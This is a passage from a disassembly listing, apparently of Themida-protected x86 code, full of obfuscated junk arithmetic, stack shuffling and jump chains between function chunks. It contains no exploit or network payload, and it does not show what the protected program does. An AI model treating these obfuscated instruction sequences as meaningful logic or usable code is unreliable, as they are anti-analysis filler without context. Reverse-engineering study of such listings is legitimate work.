ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0055BD92 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055BDD1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055C29F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055D977 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055FBE3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00563D8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005650EB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565582 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565749 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056701F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056714B SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00569D45 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056CA29 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056EA96 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056EC82 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056F45A SIZE 0000000E BYTES push bx mov bh, cl not bh mov cl, bh pop bx not cl add cl, 2Ch push edx mov dh, cl mov bh, dh pop edx mov ecx, [esp-6+arg_0+2] jmp loc_563D8A sub_561ED8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561EF5: ; CODE XREF: sub_56755A+110Cj add bl, 0B7h add al, bl pop ebx jmp loc_562A41 ; --------------------------------------------------------------------------- loc_561F00: ; CODE XREF: sub_56755A+D11j push [esp+arg_0] pop edi pop dword ptr [esp+0] jmp loc_56B5C3 ; --------------------------------------------------------------------------- loc_561F0D: ; CODE XREF: sub_56755A-43F9j mov ecx, [esp-4+arg_0] push ebx push esp jmp loc_567364 ; --------------------------------------------------------------------------- loc_561F17: ; CODE XREF: sub_56755A+3AEj push edi mov edi, 25E93040h inc edi sub edi, 21890122h xor ecx, edi jmp loc_56DCAC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx jmp loc_56E5B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561F39: ; CODE XREF: sub_56755A-1C0Dj add eax, 4 sub eax, 4 xchg eax, [esp+8+var_8] pop esp mov [esp+4+var_4], ecx jmp loc_56B58F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_561F4F: ; CODE XREF: Themida_:0055DE1Fj add esp, 4 sub eax, 28103CF1h sub eax, ebp add eax, 28103CF1h push dword ptr [esp] jmp loc_560BF7 ; --------------------------------------------------------------------------- loc_561F69: ; CODE XREF: Themida_:0056CF74j push esi jmp loc_5603D9 ; --------------------------------------------------------------------------- loc_561F6F: ; CODE XREF: Themida_:0056B85Dj add dword ptr [esp], 73071EE3h jmp loc_56B2B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_561F7B: ; CODE XREF: sub_56CEC8+1F67j pop ebx xor al, cl jmp loc_55EFAE ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- push ebx mov ebx, 41C13B6Dh and ebx, 65BA682Ah xor ebx, 321F6F6Fh xor ebx, 3F3A6034h mov eax, ebx pop ebx not eax shl eax, 6 sub esp, 4 mov [esp], eax xor [esp], ebp jmp loc_56DD7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_561FB4: ; CODE XREF: sub_560B67+1j mov ebx, 3CD149DEh jmp loc_56BFD1 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- loc_561FBE: ; CODE XREF: Themida_:00564D57j push ecx mov ecx, 4A95E89h dec ecx or ecx, 73D65BA8h shr ecx, 4 jmp loc_56F0C1 ; --------------------------------------------------------------------------- loc_561FD3: ; CODE XREF: Themida_:00565AD3j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_561FD8: ; CODE XREF: Themida_:0056DE45j neg ebp jmp loc_565BAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561FDF: ; CODE XREF: sub_56755A-2BD0j push edx push ecx jmp loc_562768 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_561FE6: ; CODE XREF: sub_56CB1B-82D5j xor ebx, ecx xor ecx, ebx jmp loc_56BB8C ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_561FEF: ; CODE XREF: sub_56755A+46B9j add esi, 4 xchg esi, [esp+0Ch+var_C] pop esp mov ebx, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] jmp loc_55DEE4 ; --------------------------------------------------------------------------- loc_562013: ; CODE XREF: sub_56755A+202j mov [esp+0Ch+var_C], eax push esi mov esi, 48DC48C7h shl esi, 4 push ebp mov ebp, 72FE3AECh xor ebp, 3F324841h push 3CB9h mov [esp+18h+var_18], eax mov eax, 1A864B0Eh add eax, 333E03DEh sub eax, 5A61250h add eax, 2E8102B5h sub eax, 0FFFFFFFFh push edi mov edi, 493D282Ah and edi, 43E00144h shr edi, 6 jmp loc_56C538 ; --------------------------------------------------------------------------- loc_56205E: ; CODE XREF: sub_56755A-6B52j add ebp, 35465513h jmp loc_55C1A1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562069: ; CODE XREF: Themida_:0056D702j sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebp jmp loc_57011F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562082: ; CODE XREF: sub_56755A-BAD5j mov eax, [esp+10h+var_10] push ebx mov ebx, esp jmp loc_56B31E ; --------------------------------------------------------------------------- loc_56208D: ; CODE XREF: sub_56755A+C0Aj add edx, 4 add edx, 4 jmp loc_5602FA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56209E: ; CODE XREF: Themida_:005626CCj sub dword ptr [esp], 66F9664Ch pop edx add edx, 66F9664Ch push edx push ebp mov ebp, 383F2959h add [esp+4], ebp pop ebp pop eax push edi mov edi, 383F2959h sub eax, edi pop edi mov edx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 add ebx, eax pop eax xchg ebx, [esp] pop esp mov ax, [esp] jmp loc_57004E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_5620E1: ; CODE XREF: sub_56D600-6A5j push eax mov al, 0D2h dec al jmp loc_55CE77 ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- loc_5620EB: ; CODE XREF: Themida_:00563178j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_56A4AF ; --------------------------------------------------------------------------- loc_562102: ; CODE XREF: Themida_:0055D9F7j push ecx mov ecx, esp push ebp mov ebp, 4 sub esp, 4 mov [esp], edx mov edx, 7DC838A2h shl edx, 1 jmp loc_5668AD ; --------------------------------------------------------------------------- loc_56211D: ; CODE XREF: Themida_:00569404j sub esi, 1DBD04CCh push ebp push esi jmp loc_55DB0C ; --------------------------------------------------------------------------- loc_56212A: ; CODE XREF: Themida_:00564A23j add edx, 4 jmp loc_564F77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562132: ; CODE XREF: sub_56755A+61j add ecx, 4 push eax jmp loc_566B7B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56213E: ; CODE XREF: Themida_:005601DDj push edx push ebx jmp loc_56A24A ; --------------------------------------------------------------------------- loc_562145: ; CODE XREF: Themida_:005624B6j shl ebp, 8 add ebp, 34DF0BB0h xor ebp, 0A754F5CBh jmp loc_55C832 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_562159: ; CODE XREF: sub_56B62C-A28Aj xor dh, 2Dh jmp loc_56A82E ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_562161: ; CODE XREF: Themida_:0055B907j add esi, 4 jmp loc_561D81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56216C: ; CODE XREF: sub_56755A+4BB0j mov ebx, [esp+18h+var_18] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+1Ch+var_1C] pop esp add eax, ebx add eax, 723D6CBBh jmp loc_5670D0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56218B: ; CODE XREF: Themida_:005613D0j mov esi, 2C60239h jmp loc_5673D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562195: ; CODE XREF: sub_56755A-2BB6j add ebx, 12514D4Eh add ebx, ecx sub ebx, 12514D4Eh add ebx, 60E56130h mov ecx, [esp+18h+var_18] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+1Ch+var_1C] pop esp push ebx push [esp+1Ch+var_18] jmp loc_56C8CE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5621C9: ; CODE XREF: Themida_:0055D26Cj add edi, esi pop esi push 651Eh mov [esp], ebx mov ebx, 2 jmp loc_569845 ; --------------------------------------------------------------------------- loc_5621DE: ; CODE XREF: Themida_:0055F91Aj xchg ebx, ebp not ebx jmp loc_564BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_5621E7: ; CODE XREF: sub_560B67-2E7Dj pop esp mov [esp+4+var_4], ecx pop eax mov ecx, [esp+0] push ecx jmp loc_56E183 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5621F5: ; CODE XREF: sub_56755A+7702j mov [esp+20h+var_20], ecx mov ecx, 7411734h add eax, 6ED1001h add eax, 38152A00h sub eax, 56A80B1Ah add eax, ecx add eax, 56A80B1Ah sub eax, 38152A00h sub eax, 6ED1001h pop ecx movzx ax, byte ptr [eax] jmp loc_56DD91 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EB5 loc_562227: ; CODE XREF: sub_560EB5+DCj push small 78D2h mov [esp+4+var_4], ax jmp loc_56CC6C ; END OF FUNCTION CHUNK FOR sub_560EB5 ; --------------------------------------------------------------------------- loc_562234: ; CODE XREF: Themida_:0055E23Dj add esp, 4 push ebp mov ebp, 44FEC860h xor edi, ebp mov ebp, [esp] add esp, 4 push edi push 597C2E7Eh pop edi xor edi, 68F91C70h jmp loc_56E9C9 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_5619E2 ; --------------------------------------------------------------------------- loc_562265: ; CODE XREF: Themida_:00564F10j mov edx, esp add edx, 4 jmp loc_55D516 ; =============== S U B R O U T I N E ======================================= sub_562272 proc near ; CODE XREF: sub_560B67+1336j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C6FA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055EE65 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00563D95 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00566A89 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056CB2D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F675 SIZE 00000029 BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] jmp loc_56CB2D sub_562272 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56228C: ; CODE XREF: sub_56755A+8645j add eax, 181A6B62h jmp loc_56988B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562296: ; CODE XREF: Themida_:0055EFA9j xor ecx, 0B6D60DFh sub ecx, 1 sub ecx, 3DB64B3h xor ecx, 9A011D01h add ebp, ecx pop ecx jmp loc_5637BF ; =============== S U B R O U T I N E ======================================= sub_5622B3 proc near ; CODE XREF: sub_56755A+990j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00565A19 SIZE 00000014 BYTES push ebx push esp mov ebx, [esp+8+var_8] add esp, 4 add ebx, 4 push edi mov edi, 4 sub ebx, edi pop edi jmp loc_565A19 sub_5622B3 endp ; --------------------------------------------------------------------------- mov ax, [esp] push 636Eh mov [esp], eax push ebp mov ebp, esp add ebp, 4 jmp loc_565DAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5622E9: ; CODE XREF: sub_56755A+2010j pop ebp mov ebx, [esp+18h+var_18] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+1Ch+var_1C] pop esp jmp loc_55D089 ; --------------------------------------------------------------------------- loc_562305: ; CODE XREF: sub_56755A+1FFCj add esi, 7C602270h sub esi, 5054548h mov edi, [esp+18h+var_18] add esp, 4 add ebx, 426E7CC7h add ebx, esi sub ebx, 426E7CC7h jmp loc_55DCF5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56232D: ; CODE XREF: Themida_:0056A09Fj mov edx, 720F52FDh jmp loc_56F238 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_562337: ; CODE XREF: sub_56E89A-3BD6j add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] jmp loc_563F71 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_562348: ; CODE XREF: Themida_:0056FEEEj sub ecx, 97E3229h jmp loc_56EE34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562353: ; CODE XREF: sub_56755A+61Fj and edi, 585C4F5Ah not edi sub edi, 0B07DA696h add eax, edi pop edi sub eax, ecx jmp loc_5663A0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56236B: ; CODE XREF: sub_55CD7B+12458j pop ebx sub esp, 4 jmp loc_56F861 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_562374: ; CODE XREF: Themida_:0056EAE5j pop edx mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 add edx, eax pop eax jmp loc_56CB9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562386: ; CODE XREF: sub_56755A-7B81j pop eax inc ecx add ecx, 3DC01D28h jmp loc_56AE94 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562393: ; CODE XREF: Themida_:0055E10Bj sub ebx, 3FC87302h sub ebx, eax jmp loc_56E321 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5623A0: ; CODE XREF: sub_56755A+4D7j mov esp, [esp-14h+arg_10] jmp loc_564A0F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5623A8: ; CODE XREF: Themida_:0056396Ej sub edx, 0DB3C05C6h jmp loc_56EAE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A9 loc_5623B3: ; CODE XREF: sub_5687A9+Cj mov edx, 3E395E7Ch jmp loc_570149 ; END OF FUNCTION CHUNK FOR sub_5687A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5623BD: ; CODE XREF: sub_56755A+1A22j and esi, 6A022B68h add esi, 3F052BE9h push 69A6h mov [esp-10h+arg_C], edx jmp loc_562FFF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5623D6: ; CODE XREF: Themida_:0055E7E2j xor [esp], ebp jmp loc_5687FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_5623DE: ; CODE XREF: sub_5615A9-5456j mov ch, 26h xor ch, 0CCh add al, ch pop ecx push edx jmp loc_570376 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_5623EC: ; CODE XREF: Themida_:005634A7j pop eax jmp loc_56E5DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5623F2: ; CODE XREF: sub_56755A-5023j pop ecx pop eax push ebx jmp loc_5690C0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5623FA: ; CODE XREF: Themida_:0055C2C5j sub ebx, edi mov edi, [esp] add esp, 4 pop ebp jmp loc_55F238 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562408: ; CODE XREF: sub_56755A+143j pop ebp add ebx, 608871EBh add ebx, ebp jmp loc_566C50 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562416: ; CODE XREF: Themida_:0056928Cj add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push 3809h mov [esp], eax jmp loc_568ECD ; --------------------------------------------------------------------------- loc_562430: ; CODE XREF: Themida_:0056ECC3j push esp mov edx, [esp] push 1395h mov [esp], ebp mov ebp, esp push esi jmp loc_563835 ; --------------------------------------------------------------------------- loc_562444: ; CODE XREF: Themida_:0055C6F5j not esi add esi, 0FFFFFFFFh xor esi, 0BC919CDBh push edi push ebx push ecx mov ecx, 20555FD3h shl ecx, 8 jmp loc_56185B ; =============== S U B R O U T I N E ======================================= sub_562462 proc near ; CODE XREF: sub_56755A-1C9Cj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055DED1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005659D6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005699E6 SIZE 00000005 BYTES sub esp, 4 mov [esp+4+var_4], ebp jmp loc_5659D6 sub_562462 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56246D: ; CODE XREF: sub_56755A+7D2j push eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp-14h+arg_10] xor [esp-14h+arg_10], eax xor eax, [esp-14h+arg_10] jmp loc_56AA68 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562488: ; CODE XREF: Themida_:005671E1j add edi, 4 jmp loc_55C3AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC6 loc_562490: ; CODE XREF: sub_566DC6+25j sub ebp, 0B58287B6h and ebx, ebp pop ebp sub ebx, 1 jmp sub_565B25 ; END OF FUNCTION CHUNK FOR sub_566DC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5624A4: ; CODE XREF: sub_56755A-74C3j push 3B1Fh jmp loc_562CA7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5624AE: ; CODE XREF: Themida_:0056C3DEj mov ebp, 2E391E5Eh neg ebp dec ebp jmp loc_562145 ; --------------------------------------------------------------------------- loc_5624BB: ; CODE XREF: Themida_:005607C5j pop esp jmp loc_56BE59 ; --------------------------------------------------------------------------- loc_5624C1: ; CODE XREF: Themida_:0056E2A5j add esp, 4 jmp loc_55E215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5624CC: ; CODE XREF: sub_56755A+7E4Dj mov eax, edx sub esp, 4 mov [esp+10h+var_10], esi mov esi, eax mov ecx, esi pop esi pop eax jmp loc_563C5D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5624DF: ; CODE XREF: Themida_:00563B50j pop esp add esp, 4 push dword ptr [eax] jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_5624ED: ; CODE XREF: sub_56CEC8-6F67j mov dl, 3Bh xor bl, dl mov edx, [esp+0] add esp, 4 dec bl push eax mov ah, 9Ah or ah, 1Ch jmp loc_5686BA ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- loc_562504: ; CODE XREF: Themida_:00567496j pop esi pop edi jmp loc_56A042 ; =============== S U B R O U T I N E ======================================= sub_56250B proc near ; CODE XREF: sub_56755A-6822j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055D54C SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00562DF6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00563EB9 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00565F5A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D97F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056EC01 SIZE 0000000B BYTES push ebp mov bp, 1274h add bp, 507Ch push ax mov ax, 522h sub bx, ax pop ax sub bx, 6793h sub bx, bp add bx, 6793h jmp loc_562DF6 sub_56250B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562532: ; CODE XREF: sub_56755A+6910j push ecx mov ch, al mov dl, ch jmp loc_5623F2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_56253C: ; CODE XREF: sub_55E931+105C8j shr ecx, 7 push 23D4h mov [esp+4+var_4], ebx push [esp+4+var_4] jmp loc_562C1F ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56254F: ; CODE XREF: sub_56755A+75C1j push ecx jmp loc_564F6D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_562555: ; CODE XREF: sub_568D4B-A5D3j mov dh, bl pop ebx pop ecx push ecx mov cl, dh mov [edi+eax*4+1], cl pop ecx push dword ptr [esp+0] pop edx push ebx mov ebx, esp add ebx, 4 push ecx jmp loc_5684E3 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56CF7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56257D: ; CODE XREF: sub_56755A-6DEAj add [esp+8+var_4], ebx jmp loc_56FF9D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EC76 loc_562586: ; CODE XREF: sub_55EC76+18j mov [esp+0], edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] mov [esp-4+arg_0], ebp push esi mov esi, 0A037934h push edi jmp loc_564716 ; END OF FUNCTION CHUNK FOR sub_55EC76 ; --------------------------------------------------------------------------- loc_5625B5: ; CODE XREF: Themida_:0055FED3j pop ebx dec dl push ecx push ebx jmp loc_5617C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5625BF: ; CODE XREF: sub_56755A-5E84j mov edi, [esp+14h+var_14] add esp, 4 jmp loc_56D9E3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5625CD: ; CODE XREF: Themida_:0056A9CDj pop esp mov [esp], cx jmp loc_55CF47 ; --------------------------------------------------------------------------- loc_5625D7: ; CODE XREF: Themida_:0056C8DCj jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5625DC: ; CODE XREF: sub_56755A+8E58j mov ecx, 552D552Fh shr ecx, 3 neg ecx not ecx or ecx, 72055A2Fh jmp loc_56B79B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5625F3: ; CODE XREF: Themida_:0055D5DBj sub esp, 4 mov [esp], esi push ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5648AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562609: ; CODE XREF: sub_56755A-2FCFj push [esp+10h+var_10] pop eax jmp sub_560184 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_562612: ; CODE XREF: sub_562F50-15A9j add eax, 52DF7B69h pop edi jmp loc_565830 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56261D: ; CODE XREF: sub_56755A+1791j add esp, 4 jmp loc_56A56E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562625: ; CODE XREF: Themida_:005641E8j pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_55D172 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562631: ; CODE XREF: sub_56755A+87E5j pop eax inc eax shr eax, 5 and eax, 2E9623CEh jmp loc_55BD3D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A468 loc_562640: ; CODE XREF: sub_56A468+6D4j sub ecx, ebp pop ebp sub eax, 52AB339Dh add eax, 47EE7D32h sub eax, ecx sub eax, 47EE7D32h push ebx mov ebx, 52AB339Dh add eax, ebx pop ebx pop ecx jmp loc_562DEB ; END OF FUNCTION CHUNK FOR sub_56A468 ; --------------------------------------------------------------------------- loc_562663: ; CODE XREF: Themida_:00563A3Cj xchg edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_5619AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_562671: ; CODE XREF: sub_55FDEF-1159j push edx push esp jmp loc_560125 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673DF loc_562678: ; CODE XREF: sub_5673DF-99D6j add esp, 4 push ebp mov ebp, 6E6A5407h xor ebp, 6E6A5403h push edx mov edx, 3E42A90h add ebx, edx pop edx add ebx, 5A6631E6h add ebx, ebp jmp loc_56F983 ; END OF FUNCTION CHUNK FOR sub_5673DF ; --------------------------------------------------------------------------- loc_56269D: ; CODE XREF: Themida_:00564F68j pop edx dec dh sub dh, 4 xor bh, dh jmp loc_567575 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C024 loc_5626AA: ; CODE XREF: sub_56C024+9j push esp pop ecx push ebx mov ebx, 652C4F53h jmp loc_56DB6E ; END OF FUNCTION CHUNK FOR sub_56C024 ; --------------------------------------------------------------------------- loc_5626B7: ; CODE XREF: Themida_:0056A044j sub eax, 372F727Ch jmp loc_55C125 ; --------------------------------------------------------------------------- loc_5626C1: ; CODE XREF: Themida_:0056738Dj sub ebx, 7F3F6BDDh mov ebp, ebx pop ebx push edx push ebp jmp loc_56209E ; --------------------------------------------------------------------------- loc_5626D1: ; CODE XREF: Themida_:0055FB4Aj sub esp, 4 mov [esp], ecx mov cl, 19h push eax mov al, 67h inc al or al, 8Fh shr al, 7 sub esp, 4 mov [esp], ebx mov bh, 47h or bh, 0FCh not bh inc bh dec bh sub bh, 72h jmp loc_566EF8 ; --------------------------------------------------------------------------- loc_5626FF: ; CODE XREF: Themida_:00565194j add edi, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub esp, 4 mov [esp], ebp push edi mov edi, 494071EEh xor edi, 4DA0BC7h or edi, 220A2BF3h sub edi, 65AA1BEDh add edi, 743848FCh sub edi, 27419CE6h jmp loc_563281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562742: ; CODE XREF: sub_56755A+55Cj mov [esp+8+var_8], ebx push esp mov ebx, [esp+0Ch+var_C] add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], ecx mov ecx, 79BF2E52h jmp sub_564E24 ; --------------------------------------------------------------------------- loc_562768: ; CODE XREF: sub_56755A-5579j mov ecx, 86116B8h add ecx, 1F06F25Dh jmp loc_567431 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dx mov dl, cl jmp loc_56159A ; --------------------------------------------------------------------------- loc_562781: ; CODE XREF: Themida_:005661CFj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] xor edx, ebx pop ebx jmp loc_55FB41 ; --------------------------------------------------------------------------- loc_562799: ; CODE XREF: Themida_:00560426j push ecx mov ecx, 2C550282h jmp loc_55EFA2 ; --------------------------------------------------------------------------- loc_5627A4: ; CODE XREF: Themida_:0056B2BEj push ebp mov ebp, 6BBC5E1Ah sub ebp, 716F3AC6h or ebp, 39896411h dec ebp xor ebp, 88CA79B7h sub edx, ebp pop ebp pop esi add ebp, edx jmp loc_5627E8 ; --------------------------------------------------------------------------- loc_5627C8: ; CODE XREF: Themida_:00570554j mov edi, 43300665h jmp loc_5651EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5637DB loc_5627D2: ; CODE XREF: sub_5637DB+A82Bj inc edi push eax jmp loc_569686 ; END OF FUNCTION CHUNK FOR sub_5637DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5627D9: ; CODE XREF: sub_56755A+7FA5j 